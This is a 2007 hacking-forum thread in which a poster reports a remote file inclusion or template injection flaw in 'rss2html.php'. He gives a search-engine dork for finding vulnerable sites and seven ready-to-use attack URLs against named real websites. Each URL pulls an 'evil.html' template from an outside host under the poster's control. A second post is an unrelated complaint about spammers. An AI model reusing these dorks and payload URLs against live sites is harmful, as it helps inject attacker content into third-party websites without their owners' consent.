Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
Where you should disclose your vulnerabilities. Go read RFPolicy if you want to do responsible disclosure, and go here for when all else fails. 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
Feature or ?
Posted by: epsteinbar
Date: July 19, 2007 08:10AM

im not sure what you would call this , rfi ,file inclusion vulns?
it seems that most any site with "rss2html.php" will let you call custom webpage templates ,
seems to me that thiers more features to this though :)

allinurl:rss2html.php?

http://spameater.com/spam_news/rss2html.php?XMLFILE=http://www.securityfocus.com/rss/vulnerabilities.xml&TEMPLATE=http://h1.ripway.com/epsteinbar/test/evil.html&MAXITEMS=20
http://privacynotes.com/rss2html.php?XMLFILE=http://www.securityfocus.com/rss/vulnerabilities.xml&TEMPLATE=http://h1.ripway.com/epsteinbar/test/evil.html&MAXITEMS=20
http://website101.com/Search_Engine_Positioning/rss2html.php?XMLFILE=http://www.securityfocus.com/rss/vulnerabilities.xml&TEMPLATE=http://h1.ripway.com/epsteinbar/test/evil.html&MAXITEMS=20
http://www.crimetimes.org/rss2html.php?XMLFILE=http://www.securityfocus.com/rss/vulnerabilities.xml&TEMPLATE=http://h1.ripway.com/epsteinbar/test/evil.html&MAXITEMS=20
http://portal.knightsecurityny.com/rss2html.php?XMLFILE=http://www.securityfocus.com/rss/vulnerabilities.xml&TEMPLATE=http://h1.ripway.com/epsteinbar/test/evil.html&MAXITEMS=20
http://www.searchengineoptimism.com/rss2html.php?XMLFILE=http://www.securityfocus.com/rss/vulnerabilities.xml&TEMPLATE=http://h1.ripway.com/epsteinbar/test/evil.html&MAXITEMS=20
http://www.infoworld.com/industrystandard/geeklog2/public_html/rss/rss2html/rss2html.php?XMLFILE=http://www.securityfocus.com/rss/vulnerabilities.xml&TEMPLATE=http://h1.ripway.com/epsteinbar/test/evil.html&MAXITEMS=20



Edited 3 time(s). Last edit at 07/19/2007 11:06AM by epsteinbar.

Options: ReplyQuote
Re: Feature or ?
Posted by: Anonymous User
Date: August 02, 2007 08:07AM

What the cry makes this forum that interesting for those stupid songtext self-promo fu**ers?

Options: ReplyQuote


Sorry, only registered users may post in this forum.